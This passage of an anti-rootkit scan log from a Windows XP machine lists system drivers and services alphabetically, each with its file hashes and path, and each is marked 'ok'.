15:10:05.0203 0x092c  [ 4F9CBBF95E8F7A0D4C0EDCFE3B78102E, 71FE8F94C2A71F1D97972C3E36A0D18B293C45941639B34D34BE22C60C751A48 ] ASAPIW2K        C:\WINDOWS\system32\Drivers\ASAPIW2K.sys

15:10:05.0203 0x092c  ASAPIW2K - ok

15:10:05.0218 0x092c  asc - ok

15:10:05.0218 0x092c  asc3350p - ok

15:10:05.0234 0x092c  asc3550 - ok

15:10:05.0562 0x092c  [ 776ACEFA0CA9DF0FAA51A5FB2F435705, 72DF7ED6B085BC468994F5B3189506FD726A9A17A9C42ACA1E420D787691361D ] aspnet_state    C:\WINDOWS\Microsoft.NET\Framework\v4.0.30319\aspnet_state.exe

15:10:05.0593 0x092c  aspnet_state - ok

15:10:05.0609 0x092c  [ B153AFFAC761E7F5FCFA822B9C4E97BC, 7E60F572A6B3C6219E3C86225AA37243AFFD74337DB7F108B04778042E5CC959 ] AsyncMac        C:\WINDOWS\system32\DRIVERS\asyncmac.sys

15:10:05.0625 0x092c  AsyncMac - ok

15:10:05.0640 0x092c  [ 9F3A2F5AA6875C72BF062C712CFA2674, B4DF1D2C56A593C6B54DE57395E3B51D288F547842893B32B0F59228A0CF70B9 ] atapi           C:\WINDOWS\system32\DRIVERS\atapi.sys

15:10:05.0640 0x092c  atapi - ok

15:10:05.0656 0x092c  Atdisk - ok

15:10:05.0671 0x092c  [ 9916C1225104BA14794209CFA8012159, 5D6F05F715C52A16D05CAE15C3DFE77A139A7F27F7AE710EC9A10F9EE05115A1 ] Atmarpc         C:\WINDOWS\system32\DRIVERS\atmarpc.sys

15:10:05.0671 0x092c  Atmarpc - ok

15:10:05.0703 0x092c  [ 58ED0D5452DF7BE732193E7999C6B9A4, 254E2ECF592DDA2E3E6CA9F6F3E77926E2265586A7937BA95199ED47BCDE69A3 ] AudioSrv        C:\WINDOWS\System32\audiosrv.dll

15:10:05.0718 0x092c  AudioSrv - ok

15:10:05.0734 0x092c  [ D9F724AA26C010A217C97606B160ED68, 329B5118F2409731D06FDAE85B6ADD64A048292801BCB3546651CEB303111695 ] audstub         C:\WINDOWS\system32\DRIVERS\audstub.sys

15:10:05.0750 0x092c  audstub - ok

15:10:05.0765 0x092c  [ DA1F27D85E0D1525F6621372E7B685E9, 5A81A46A3BDD19DAFC6C87D277267A5D44F3A1B5302F2CC1111D84B7BAD5610D ] Beep            C:\WINDOWS\system32\drivers\Beep.sys

15:10:05.0765 0x092c  Beep - ok

15:10:05.0796 0x092c  [ D6F603772A789BB3228F310D650B8BD1, A539025C70FD998A9B8703DE05CAE5E99BC721D8852EA561EBC2DD20CB371D2E ] BITS            C:\WINDOWS\system32\qmgr.dll

15:10:05.0843 0x092c  BITS - ok

15:10:05.0875 0x092c  [ B42057F06BBB98B31876C0B3F2B54E33, 779AF28378E8D37E784BEDBEE23DCFFC6C9C9068180F2A9058C91047E33ED078 ] Browser         C:\WINDOWS\System32\browser.dll

15:10:05.0875 0x092c  Browser - ok

15:10:05.0890 0x092c  [ 90A673FC8E12A79AFBED2576F6A7AAF9, BDE7858A3457DB979FEDD8577FA6321BF72848E4A7BF9F173C78A6A10CBB3EBE ] cbidf2k         C:\WINDOWS\system32\drivers\cbidf2k.sys

15:10:05.0890 0x092c  cbidf2k - ok

15:10:05.0906 0x092c  cd20xrnt - ok

15:10:05.0921 0x092c  [ C1B486A7658353D33A10CC15211A873B, AA4DD9E7AAE5AAB1146B360B17001F975D2F29A1281CF7B13E7136480410F347 ] Cdaudio         C:\WINDOWS\system32\drivers\Cdaudio.sys

15:10:05.0921 0x092c  Cdaudio - ok

15:10:05.0937 0x092c  [ C885B02847F5D2FD45A24E219ED93B32, B26B2F8E3A831E2B65EB0C5195B0645CD50E22615CE79C9B0B391CD563B121DB ] Cdfs            C:\WINDOWS\system32\drivers\Cdfs.sys

15:10:05.0953 0x092c  Cdfs - ok

15:10:05.0968 0x092c  [ 1F4260CC5B42272D71F79E570A27A4FE, B51C2A3ED3C309953D0EA45869C8E464C10F2533DADE9E0286AF674979098D1D ] Cdrom           C:\WINDOWS\system32\DRIVERS\cdrom.sys

15:10:05.0968 0x092c  Cdrom - ok

15:10:05.0968 0x092c  Changer - ok

15:10:06.0000 0x092c  [ 28E3040D1F1CA2008CD6B29DFEBC9A5E, ACB458E8A11AA2143734A5A0281973D95158E6402A6453F98F9832D1E19B01F9 ] CiSvc           C:\WINDOWS\system32\cisvc.exe

15:10:06.0000 0x092c  CiSvc - ok

15:10:06.0015 0x092c  [ 778A30ED3C134EB7E406AFC407E9997D, 3E6AD115AB2596EB001BC21AEADDBC75F27C42DB90C986B7AD17743CE631234E ] ClipSrv         C:\WINDOWS\system32\clipsrv.exe

15:10:06.0015 0x092c  ClipSrv - ok

15:10:06.0078 0x092c  [ D87ACAED61E417BBA546CED5E7E36D9C, 14AC6034A5BC0FB2A1AFDAD42BEF4DE641556E54AD30D0C46765660A4BE55462 ] clr_optimization_v2.0.50727_32 C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe

15:10:06.0078 0x092c  clr_optimization_v2.0.50727_32 - ok

15:10:06.0140 0x092c  [ C5A75EB48E2344ABDC162BDA79E16841, 6070A8AAFD38FBC6A68A2B10C20117612354DF21B4492D90CA522BFB6870D726 ] clr_optimization_v4.0.30319_32 C:\WINDOWS\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe

15:10:06.0187 0x092c  clr_optimization_v4.0.30319_32 - ok

15:10:06.0203 0x092c  CmdIde - ok

15:10:06.0203 0x092c  COMSysApp - ok

15:10:06.0218 0x092c  Cpqarray - ok

15:10:06.0234 0x092c  [ 611F824E5C703A5A899F84C5F1699E4D, 9EFA5612FE58E9974E4CC13D39D91D7B5DEA3ED66BEFBED3AAE6D2800FD8162A ] CryptSvc        C:\WINDOWS\System32\cryptsvc.dll

15:10:06.0250 0x092c  CryptSvc - ok

15:10:06.0250 0x092c  dac2w2k - ok

15:10:06.0250 0x092c  dac960nt - ok

15:10:06.0281 0x092c  [ 3127AFBF2C1ED0AB14A1BBB7AAECB85B, ECFBACE3CBF2384948EA1C445BDA3955EB4F44A9874286E6537C67DC1283E5B0 ] DcomLaunch      C:\WINDOWS\system32\rpcss.dll

15:10:06.0296 0x092c  DcomLaunch - ok

15:10:06.0328 0x092c  [ C29A1C9B75BA38FA37F8C44405DEC360, 7476D8BC4380CDE56764B2034AF3741DA4ED00F315E41C9A02B5EAD04374F241 ] Dhcp            C:\WINDOWS\System32\dhcpcsvc.dll

15:10:06.0328 0x092c  Dhcp - ok

15:10:06.0359 0x092c  [ 044452051F3E02E7963599FC8F4F3E25, 584BDDB074618BE76454CF90E74829CFF588B5B5FAEB793E2F7AAD26352DD689 ] Disk            C:\WINDOWS\system32\DRIVERS\disk.sys

15:10:06.0359 0x092c  Disk - ok

15:10:06.0359 0x092c  dmadmin - ok

15:10:06.0406 0x092c  [ 0DCFC8395A99FECBB1EF771CEC7FE4EA, 89B0AEE5BE01B9FE4FF2989FF16DB6121721ACDFCE6D9655C0ACD321D8C308BE ] dmboot          C:\WINDOWS\system32\drivers\dmboot.sys

15:10:06.0453 0x092c  dmboot - ok

15:10:06.0453 0x092c  [ 53720AB12B48719D00E327DA470A619A, 800264866A6267C9000A85D00095D57908D059D737E5F28C9C4049B884C46228 ] dmio            C:\WINDOWS\system32\DRIVERS\dmio.sys

15:10:06.0468 0x092c  dmio - ok

15:10:06.0484 0x092c  [ E9317282A63CA4D188C0DF5E09C6AC5F, D41E002F555FE9015EF620975255F58BB79198CA1FF0E09EC950CB450FF77CF7 ] dmload          C:\WINDOWS\system32\drivers\dmload.sys

15:10:06.0484 0x092c  dmload - ok

15:10:06.0531 0x092c  [ 25C83FFBBA13B554EB6D59A9B2E2EE78, 9FBD655ED3E9163AE11EC207F283E387EFBA5A23108EC790BAE4846B35E66F16 ] dmserver        C:\WINDOWS\System32\dmserver.dll

15:10:06.0531 0x092c  dmserver - ok

15:10:06.0546 0x092c  [ 8A208DFCF89792A484E76C40E5F50B45, 4E40E2EB38C6254E7CAA488200E89EE7DEBBBA773890BC6A84313CC68178D54F ] DMusic          C:\WINDOWS\system32\drivers\DMusic.sys

15:10:06.0546 0x092c  DMusic - ok

15:10:06.0578 0x092c  [ 8C9ED3B2834AAE63081AB2DA831C6FE9, 87D2931A5CD3658A28072BEC3F28384B91CC3B19D072CE9C69F119B80671C163 ] Dnscache        C:\WINDOWS\System32\dnsrslvr.dll

15:10:06.0578 0x092c  Dnscache - ok

15:10:06.0593 0x092c  [ 676E36C4FF5BCEA1900F44182B9723E6, 740CF18BD40E00FEA26CF0E6340C5D18F7D0B4390055FAEEC258B3AA790C4AE9 ] Dot3svc         C:\WINDOWS\System32\dot3svc.dll

15:10:06.0609 0x092c  Dot3svc - ok

15:10:06.0609 0x092c  dpti2o - ok

15:10:06.0625 0x092c  [ 8F5FCFF8E8848AFAC920905FBD9D33C8, C8C6FB97AB0871C8C88A2201525A5CF10D5131CB6980D32692ED7A8F58399AD5 ] drmkaud         C:\WINDOWS\system32\drivers\drmkaud.sys

15:10:06.0625 0x092c  drmkaud - ok

15:10:06.0640 0x092c  [ 4E4F2FDDAB0A0736D7671134DCCE91FB, 8E2C57D1A006856C47CBDD5765A9DD317DB205B26DA8BFC70555A506257A1CD9 ] EapHost         C:\WINDOWS\System32\eapsvc.dll

15:10:06.0640 0x092c  EapHost - ok

15:10:06.0671 0x092c  [ 72753D5CC94A90F5CFC6C00ECC47163F, 824EEDCB94334912D8C44BC9626723F142DA95E9494C4B7D2F6EC7899CFF1DD2 ] ElbyCDIO        C:\WINDOWS\system32\Drivers\ElbyCDIO.sys

15:10:06.0671 0x092c  ElbyCDIO - ok

15:10:06.0687 0x092c  [ 877C18558D70587AA7823A1A308AC96B, 6B336A62112988D855513F45153F73F8470C41A448E9B7438B4A8EC1813AABF1 ] ERSvc           C:\WINDOWS\System32\ersvc.dll

15:10:06.0687 0x092c  ERSvc - ok

15:10:06.0765 0x092c  [ B3F4BF54AAF49A5ACB2ED7593ABE7B3C, 09E847691C5C192BCDAC4DF715AFCC65CD18FBF549D276C930D83D64855F4BF1 ] ESUSClient_TNO  C:\Programme\Telenor Norway\ESUS_TNO\ESUS_TNO.exe

15:10:06.0781 0x092c  ESUSClient_TNO - ok

15:10:06.0812 0x092c  [ A3EDBE9053889FB24AB22492472B39DC, 6F2ED6E04BDE2FCA2A8BF9BD2D1D6923DE6EAECB46F582B6C0BD1CF364D65C9E ] Eventlog        C:\WINDOWS\system32\services.exe

15:10:06.0812 0x092c  Eventlog - ok

15:10:06.0843 0x092c  [ AF4F6B5739D18CA7972AB53E091CBC74, A399E2CC026730D3A429727AAB48093B9F1E5DD8EB6336519C7F16182FDB3905 ] EventSystem     C:\WINDOWS\system32\es.dll

15:10:06.0859 0x092c  EventSystem - ok

15:10:06.0890 0x092c  [ 38D332A6D56AF32635675F132548343E, E6909DB836AF679B4F4D62C7396D6C82769CC7ABB8C919C2AABFE934FCE268F6 ] Fastfat         C:\WINDOWS\system32\drivers\Fastfat.sys

15:10:06.0890 0x092c  Fastfat - ok

15:10:06.0921 0x092c  [ 40602EBFBE06AA075C8E4560743F6883, 808AF03F31CA4168888D0E3802AE4A0DE7F7324F4CD2F8FE491211895C9C6901 ] FastUserSwitchingCompatibility C:\WINDOWS\System32\shsvcs.dll

15:10:06.0921 0x092c  FastUserSwitchingCompatibility - ok

15:10:06.0953 0x092c  [ 92CDD60B6730B9F50F6A1A0C1F8CDC81, 8307A532AB4D05CBBCE206DC2759497708BF5AAA880BD00F0E4F281D8578A1F5 ] Fdc             C:\WINDOWS\system32\DRIVERS\fdc.sys

15:10:06.0953 0x092c  Fdc - ok

15:10:07.0093 0x092c  [ 9840396B26E424046AD335C98B3F16C3, F4F7F78F509D60F2B65E9256421FA06C442A21C4E372A50E97F8935FDA9E72A5 ] FileMonitor     C:\Programme\IObit\IObit Malware Fighter\Drivers\wxp_x86\FileMonitor.sys

15:10:07.0109 0x092c  FileMonitor - ok

15:10:07.0125 0x092c  [ B0678A548587C5F1967B0D70BACAD6C1, 7E49910212ED87313F926E4800EA8D34809C287A686CA69B82B79C1A6451F88C ] Fips            C:\WINDOWS\system32\drivers\Fips.sys

15:10:07.0125 0x092c  Fips - ok

15:10:07.0156 0x092c  [ A9053C5CAB1C4CB9F8D963307988765E, 458CE581E233D863B176A4607B9FD33896D25E96AA761D14098F4C955207D682 ] fireface        C:\WINDOWS\system32\drivers\fireface.sys

15:10:07.0156 0x092c  fireface - ok

15:10:07.0171 0x092c  [ 9D27E7B80BFCDF1CDD9B555862D5E7F0, 69C271AD5BCEBFD8AE5A769BDD7EC51256DA3A8ADAD5D12E5C0D13F4E82D8805 ] Flpydisk        C:\WINDOWS\system32\DRIVERS\flpydisk.sys

15:10:07.0171 0x092c  Flpydisk - ok

15:10:07.0203 0x092c  [ B2CF4B0786F8212CB92ED2B50C6DB6B0, 280F5CF8A90F7BEDE73ADD0DD0F8952088133A7CA9A3D3B7041957E33B36845D ] FltMgr          C:\WINDOWS\system32\drivers\fltmgr.sys

15:10:07.0203 0x092c  FltMgr - ok

15:10:07.0265 0x092c  [ 8BA7C024070F2B7FDD98ED8A4BA41789, 47585006F86B2C6016EC54250A416794792D1E4024FF229C120BC25B684AF66A ] FontCache3.0.0.0 C:\WINDOWS\Microsoft.NET\Framework\v3.0\WPF\PresentationFontCache.exe

15:10:07.0265 0x092c  FontCache3.0.0.0 - ok

15:10:07.0281 0x092c  [ 3E1E2BD4F39B0E2B7DC4F4D2BCC2779A, EC635E071201A766845D48973772CBE0958942B4162F3F5F70660D114CC877E0 ] Fs_Rec          C:\WINDOWS\system32\drivers\Fs_Rec.sys

15:10:07.0281 0x092c  Fs_Rec - ok

15:10:07.0296 0x092c  [ 8F1955CE42E1484714B542F341647778, 8EB3F99625F409D3032561E8AB44BEFBFBFBA4EC873C2151C92A5CAAF7F2AA55 ] Ftdisk          C:\WINDOWS\system32\DRIVERS\ftdisk.sys

15:10:07.0312 0x092c  Ftdisk - ok

15:10:07.0328 0x092c  [ 0A02C63C8B144BD8C86B103DEE7C86A2, 7A3235DD3E1995DD72B212FAEB3ECA2A974434DE9BF6D269EA11BA65A80E7E50 ] Gpc             C:\WINDOWS\system32\DRIVERS\msgpc.sys

15:10:07.0328 0x092c  Gpc - ok

15:10:07.0375 0x092c  [ DD7423ABBE2913E70D50E9318AD57EE4, 74BC123808F3FA60ADDC51C1383F8250608D3DBA3A8DC175B3418A1CF0BC53E9 ] gupdate         C:\Programme\Google\Update\GoogleUpdate.exe

15:10:07.0390 0x092c  gupdate - ok

15:10:07.0406 0x092c  [ DD7423ABBE2913E70D50E9318AD57EE4, 74BC123808F3FA60ADDC51C1383F8250608D3DBA3A8DC175B3418A1CF0BC53E9 ] gupdatem        C:\Programme\Google\Update\GoogleUpdate.exe

15:10:07.0406 0x092c  gupdatem - ok

15:10:07.0421 0x092c  [ 5E214964C6E01245FABD40B283697180, D310F0005CFCB65E11A8A336E062873CB90F933959FDC69B933C34AEB670C2FF ] Haspnt          C:\WINDOWS\system32\drivers\haspnt.sys

15:10:07.0421 0x092c  Haspnt - ok

15:10:07.0453 0x092c  [ F58D2900C66A1E773E3375098E0E9337, EC22AD2FFF0A6E89861D163DCA3915B8B0C5E4F71444EFE72E1A95E21C0CB86E ] HdAudAddService C:\WINDOWS\system32\drivers\HdAudio.sys

15:10:07.0453 0x092c  HdAudAddService - ok

15:10:07.0484 0x092c  [ 573C7D0A32852B48F3058CFD8026F511, BC384BBA394AFDCDA1A9ABC858C692AA84A1F0A31AF3DDF7F38D120C027927FB ] HDAudBus        C:\WINDOWS\system32\DRIVERS\HDAudBus.sys

15:10:07.0484 0x092c  HDAudBus - ok

15:10:07.0531 0x092c  [ CB66BF85BF599BEFD6C6A57C2E20357F, 55D3A0F9279FF316766F42548FCB61C452942B08A37590C4892DF110BE4E53C6 ] helpsvc         C:\WINDOWS\PCHealth\HelpCtr\Binaries\pchsvc.dll

15:10:07.0531 0x092c  helpsvc - ok

15:10:07.0546 0x092c  [ B35DA85E60C0103F2E4104532DA2F12B, E13C9F73DF7713554CB614B36123D75014F5121AA1FC9069733E61758751CBE4 ] HidServ         C:\WINDOWS\System32\hidserv.dll

15:10:07.0562 0x092c  HidServ - ok

15:10:07.0578 0x092c  [ CCF82C5EC8A7326C3066DE870C06DAF1, 93395FA4C26B2E82DC8B7025ED3BCF583885E5D8C5F60CD6EEAA6335D6A126EC ] HidUsb          C:\WINDOWS\system32\DRIVERS\hidusb.sys

15:10:07.0578 0x092c  HidUsb - ok

15:10:07.0609 0x092c  [ ED29F14101523A6E0E808107405D452C, B8FA987637787BEECC2EB06D36293DAC355523392B49A8C5A9491EEE961917E9 ] hkmsvc          C:\WINDOWS\System32\kmsvc.dll

15:10:07.0609 0x092c  hkmsvc - ok

15:10:07.0625 0x092c  hpn - ok

15:10:07.0640 0x092c  [ 287A63BD8509BD78E7978823B38AFA81, B3508209F557CF92DD8C21789F934168345212DAFD082494DB7089CF96C104DD ] HPZid412        C:\WINDOWS\system32\DRIVERS\HPZid412.sys

15:10:07.0640 0x092c  HPZid412 - ok

15:10:07.0656 0x092c  [ 0B4FDA2657C3E0315EAA57F9C6D4FD1F, 74228EA4E3AD882A4FA5FD5534FF0B29CDF2AC70D8888240E061BE030E61C7BE ] HPZipr12        C:\WINDOWS\system32\DRIVERS\HPZipr12.sys

15:10:07.0656 0x092c  HPZipr12 - ok

15:10:07.0656 0x092c  [ 29559DB25258B60510A60C4E470FCE32, 4918053D6AA26D176985FFFF529D8113B025648EA26D8ABB9972E09CBD0DE1AD ] HPZius12        C:\WINDOWS\system32\DRIVERS\HPZius12.sys

15:10:07.0656 0x092c  HPZius12 - ok

15:10:07.0703 0x092c  [ F6AACF5BCE2893E0C1754AFEB672E5C9, 62A7A70515B5570A649DC30A3A122B1302F6839A63927C8B29EBE04ABA654892 ] HTTP            C:\WINDOWS\system32\Drivers\HTTP.sys

15:10:07.0703 0x092c  HTTP - ok

15:10:07.0734 0x092c  [ 9E4ADB854CEBCFB81A4B36718FEECD16, 677AB64460775686F8366D6BF35D420A2486C3F07338A00A7C2788A5142B9F08 ] HTTPFilter      C:\WINDOWS\System32\w3ssl.dll

15:10:07.0750 0x092c  HTTPFilter - ok

15:10:07.0750 0x092c  hwdatacard - ok

15:10:07.0765 0x092c  i2omgmt - ok

15:10:07.0765 0x092c  i2omp - ok

15:10:07.0796 0x092c  [ E283B97CFBEB86C1D86BAED5F7846A92, 7664F791D08C80DF1E52B34BE69F073AA645610C4BD975F498254807602374AB ] i8042prt        C:\WINDOWS\system32\DRIVERS\i8042prt.sys

15:10:07.0796 0x092c  i8042prt - ok

15:10:07.0859 0x092c  [ DAF66902F08796F9C694901660E5A64A, F4A4764DED05980426BAB54AAF040BC27A39C80315F5161E8D0B4C7F694BD8E6 ] IDriverT        C:\Programme\Gemeinsame Dateien\InstallShield\Driver\1150\Intel 32\IDriverT.exe

15:10:07.0859 0x092c  IDriverT - ok

15:10:07.0937 0x092c  [ C01AC32DC5C03076CFB852CB5DA5229C, A4D7749220B5BC965D96A267F1E02FE8284A230BA249109207BD4B9EA8DFAC96 ] idsvc           C:\WINDOWS\Microsoft.NET\Framework\v3.0\Windows Communication Foundation\infocard.exe

15:10:07.0984 0x092c  idsvc - ok

15:10:08.0000 0x092c  [ 29E63F21D58387024AF9B9EEF93A03C8, AB891BBC10D7FF92164466C877B2042B7B018C0566CEB107D0587B55CC26D4BF ] iLokDrvr        C:\WINDOWS\system32\DRIVERS\iLokDrvr.sys

15:10:08.0000 0x092c  iLokDrvr - ok

15:10:08.0031 0x092c  [ 083A052659F5310DD8B6A6CB05EDCF8E, 48D39B03FFB6FAA1529B774443BA12618AE3982D9F65A7B9D18F2269F78B31F4 ] Imapi           C:\WINDOWS\system32\DRIVERS\imapi.sys

15:10:08.0031 0x092c  Imapi - ok

15:10:08.0062 0x092c  [ D4B413AA210C21E46AEDD2BA5B68D38E, 2309622867AA8FC832A729FA78F48742D4BD6CA0DAFBFB9DDB0772D671E1ED75 ] ImapiService    C:\WINDOWS\system32\imapi.exe

15:10:08.0062 0x092c  ImapiService - ok

15:10:08.0125 0x092c  [ 1BECE031117FEA62F0DFC2D23D58CBE4, 95EDE389F650BF14F028995343C76FEB2E4D23C0AF7D3C6313A3B61E83F557FF ] IMFservice      C:\Programme\IObit\IObit Malware Fighter\IMFsrv.exe

15:10:08.0140 0x092c  IMFservice - ok

15:10:08.0140 0x092c  ini910u - ok

15:10:08.0156 0x092c  IntelIde - ok

15:10:08.0171 0x092c  [ 4C7D2750158ED6E7AD642D97BFFAE351, C05E4799752F090DCB632F07F62ADE38D31534621064D269AD535CA0BDFED448 ] intelppm        C:\WINDOWS\system32\DRIVERS\intelppm.sys

15:10:08.0171 0x092c  intelppm - ok

15:10:08.0187 0x092c  [ 3BB22519A194418D5FEC05D800A19AD0, F6662F440950596DC1382DD1DB5D7891CCEA30A6062BEA942C18445B5F0D8B16 ] Ip6Fw           C:\WINDOWS\system32\drivers\ip6fw.sys

15:10:08.0203 0x092c  Ip6Fw - ok

15:10:08.0218 0x092c  [ 731F22BA402EE4B62748ADAF6363C182, 5C3BEBD008A5BE4DC2F92076FF41A10DDC01E10EC7E6552213CFA11970811848 ] IpFilterDriver  C:\WINDOWS\system32\DRIVERS\ipfltdrv.sys

15:10:08.0218 0x092c  IpFilterDriver - ok

15:10:08.0234 0x092c  [ B87AB476DCF76E72010632B5550955F5, E6E74D3A86A7917A8BAED44F8E97CCD2EB171E4E4B27E9907F60D1523FAF319A ] IpInIp          C:\WINDOWS\system32\DRIVERS\ipinip.sys

15:10:08.0234 0x092c  IpInIp - ok

15:10:08.0250 0x092c  [ CC748EA12C6EFFDE940EE98098BF96BB, AF523E21C25D9A1715EFEA573E4F52AF5D4FC9F28A2D613F5DB629C186C439E0 ] IpNat           C:\WINDOWS\system32\DRIVERS\ipnat.sys

15:10:08.0265 0x092c  IpNat - ok

15:10:08.0281 0x092c  [ 23C74D75E36E7158768DD63D92789A91, 394D296F38E7D8EFD91A6EEC301D9CE6AF910E35EB9819F1A9E3363863AEDFDC ] IPSec           C:\WINDOWS\system32\DRIVERS\ipsec.sys

15:10:08.0281 0x092c  IPSec - ok

15:10:08.0296 0x092c  [ C93C9FF7B04D772627A3646D89F7BF89, 805FA48E7A46D4F10240BF880A2468F53DEA36E83004399228AB70DB7D20544A ] IRENUM          C:\WINDOWS\system32\DRIVERS\irenum.sys

15:10:08.0296 0x092c  IRENUM - ok

15:10:08.0312 0x092c  [ 6DFB88F64135C525433E87648BDA30DE, 8233EEFBEF36AAA152F2C55D23D7118F0DE40C9C22EB5D9793405A4770889540 ] isapnp          C:\WINDOWS\system32\DRIVERS\isapnp.sys

15:10:08.0312 0x092c  isapnp - ok

15:10:08.0437 0x092c  [ A1509BA3A5FDC5366146E92B3D130EB5, 6DE8703348ACBAF154BE7478CD64952A29D43A7018A4EAA134E7A386665D8526 ] JavaQuickStarterService C:\Programme\Java\jre7\bin\jqs.exe

15:10:08.0437 0x092c  JavaQuickStarterService - ok

15:10:08.0453 0x092c  [ 1704D8C4C8807B889E43C649B478A452, E854C90CD301F42BE2520CEDAD35E49DF2D43606CF4EEED861B74882118D04D1 ] Kbdclass        C:\WINDOWS\system32\DRIVERS\kbdclass.sys

15:10:08.0453 0x092c  Kbdclass - ok

15:10:08.0468 0x092c  [ B6D6C117D771C98130497265F26D1882, E79CC4EA5C088F988BA61F80764F9CAD9B78BC56A7E17DD54622C75483BC5DF4 ] kbdhid          C:\WINDOWS\system32\DRIVERS\kbdhid.sys

15:10:08.0468 0x092c  kbdhid - ok

15:10:08.0484 0x092c  [ 692BCF44383D056AED41B045A323D378, 1A99DEE83FFAF64E73067FC049C0A4CE07D94E4AE31EFA17B38CEFA9E41D67DC ] kmixer          C:\WINDOWS\system32\drivers\kmixer.sys

15:10:08.0484 0x092c  kmixer - ok

15:10:08.0515 0x092c  [ B467646C54CC746128904E1654C750C1, 3BD71BE3663EA23463D236D8A2A2E42DFA10C502BDB4B6E131FAF0FBA748219E ] KSecDD          C:\WINDOWS\system32\drivers\KSecDD.sys

15:10:08.0515 0x092c  KSecDD - ok

15:10:08.0546 0x092c  [ 02F3F4919EFAA4A10E652696A5BE74C9, 4C0DAB0E2F516557548B66B5750BBB60F85C18DEF3A11A9A1543BB61C88361BE ] L8042PR2        C:\WINDOWS\system32\Drivers\l8042pr2.sys

15:10:08.0546 0x092c  L8042PR2 - ok

15:10:08.0593 0x092c  [ D6EB4916B203CBE525F8EFF5FD5AB16C, 93C0F25E7D018B85FE8725EF39F25AED80698D39356FA8FC9CA534F68C430EE8 ] lanmanserver    C:\WINDOWS\System32\srvsvc.dll

15:10:08.0593 0x092c  lanmanserver - ok

15:10:08.0625 0x092c  [ 1869B14B06B44B44AF70548E1EA3303F, 4D63B4DAF580C86F86837C7D1753E2105B4C52E26D4CA0CAAFE83755EFF7AFBE ] lanmanworkstation C:\WINDOWS\System32\wkssvc.dll

15:10:08.0640 0x092c  lanmanworkstation - ok

15:10:08.0640 0x092c  lbrtfdc - ok

15:10:08.0687 0x092c  [ 5712DCBE52D68865CCA91AE04807B755, AF63C5F899EFF056133D323B8EE4E6FC996AA7341E9D8B4A8316C26BC6B7A57B ] LightScribeService C:\Programme\Gemeinsame Dateien\LightScribe\LSSrvc.exe

15:10:08.0687 0x092c  LightScribeService - ok

15:10:08.0843 0x092c  [ 337FA50FFDED5E2BC94B36BF625AB681, BC77CCED8F2B52D26C7A2D7960FB5C1690F5D7E41013644C9226A85C9FF4FA2C ] LiveUpdateSvc   C:\Programme\IObit\LiveUpdate\LiveUpdate.exe

15:10:08.0953 0x092c  LiveUpdateSvc - ok

15:10:08.0984 0x092c  [ 636714B7D43C8D0C80449123FD266920, F06F6C7DC49B26EFCAC3570C67BA9BD934F62C6F382DA4DD2AB302C7B970F414 ] LmHosts         C:\WINDOWS\System32\lmhsvc.dll

15:10:08.0984 0x092c  LmHosts - ok

15:10:09.0000 0x092c  [ C1875D6671505F8A54B5CF2B457AD82A, 238F44E37A7855E58D3BD9841D70535246E3EE927689CD934250498DD3430EB5 ] LMouFlt2        C:\WINDOWS\system32\Drivers\LMouFlt2.sys

15:10:09.0000 0x092c  LMouFlt2 - ok

15:10:09.0015 0x092c  [ B7550A7107281D170CE85524B1488C98, A3854B16A65436BEF6BEDE918B43B3BE8F00D303660DB5831DD376271DC43239 ] Messenger       C:\WINDOWS\System32\msgsvc.dll

15:10:09.0015 0x092c  Messenger - ok

15:10:09.0046 0x092c  [ 4AE068242760A1FB6E1A44BF4E16AFA6, 1FB771162B96AAF787AC24867B818DF8511F0780BB094FA9A38C11D8DBFE68BC ] mnmdd           C:\WINDOWS\system32\drivers\mnmdd.sys

15:10:09.0046 0x092c  mnmdd - ok

15:10:09.0078 0x092c  [ C2F1D365FD96791B037EE504868065D3, 87BD87E08FD00D115524B049F1A3A719AB86557D68968E7090CD0F271F985CAF ] mnmsrvc         C:\WINDOWS\system32\mnmsrvc.exe

15:10:09.0078 0x092c  mnmsrvc - ok

15:10:09.0093 0x092c  [ 6FB74EBD4EC57A6F1781DE3852CC3362, 0454509D9A31E0202C08AE17294E2682F227D177A3C73B303E4C8332757AFCA1 ] Modem           C:\WINDOWS\system32\drivers\Modem.sys

15:10:09.0093 0x092c  Modem - ok

15:10:09.0125 0x092c  [ 2F5D62F6A7B387565E914C14E9581EEB, A1084B7A8D840D164E90F88A3FF5FAE47D9D4D846D02A29FB4E28A71C4A8DE82 ] motubus         C:\WINDOWS\system32\drivers\MotuBus.sys

15:10:09.0125 0x092c  motubus - ok

15:10:09.0125 0x092c  MotuMidi - ok

15:10:09.0140 0x092c  MotuUsb - ok

15:10:09.0156 0x092c  [ B24CE8005DEAB254C0251E15CB71D802, 6804A8ABDAD5EC846E7F8077D1EE9BA45D6226ACFF42C70BE3DE7C8980EF9EC4 ] Mouclass        C:\WINDOWS\system32\DRIVERS\mouclass.sys

15:10:09.0156 0x092c  Mouclass - ok

15:10:09.0171 0x092c  [ 66A6F73C74E1791464160A7065CE711A, 3C570FA1E8EF976B83759220FE95BAC9D7D48D607F91B113EDE4790D34ACBD46 ] mouhid          C:\WINDOWS\system32\DRIVERS\mouhid.sys

15:10:09.0171 0x092c  mouhid - ok

15:10:09.0187 0x092c  [ A80B9A0BAD1B73637DBCBBA7DF72D3FD, 2A5E15ED2C24C6C65EF2F7E1FD93374774076C9D8D451E4422561F4D269C012F ] MountMgr        C:\WINDOWS\system32\drivers\MountMgr.sys

15:10:09.0203 0x092c  MountMgr - ok

15:10:09.0203 0x092c  mraid35x - ok

15:10:09.0218 0x092c  [ 11D42BB6206F33FBB3BA0288D3EF81BD, 76ABCFB62C5AC549F58C231F72A99882CDEB74928104B77FE52554765C2B1A22 ] MRxDAV          C:\WINDOWS\system32\DRIVERS\mrxdav.sys

15:10:09.0218 0x092c  MRxDAV - ok

15:10:09.0250 0x092c  [ 7D304A5EB4344EBEEAB53A2FE3FFB9F0, DB9B186F7076D7B94F45041AF7B77C1AD2CAB504D683B459C6CB1C22840ED170 ] MRxSmb          C:\WINDOWS\system32\DRIVERS\mrxsmb.sys

15:10:09.0250 0x092c  MRxSmb - ok

15:10:09.0296 0x092c  [ 8E46A7BAC823DD82D4FB2A34C3DF4C1D, FEA8FB1B8752660EC6174542B24D234A61EBFF8318A5855B3E5C91DB86856CAB ] MSCSPTISRV      C:\Programme\Gemeinsame Dateien\Sony Shared\AVLib\MSCSPTISRV.exe

15:10:09.0296 0x092c  MSCSPTISRV - ok

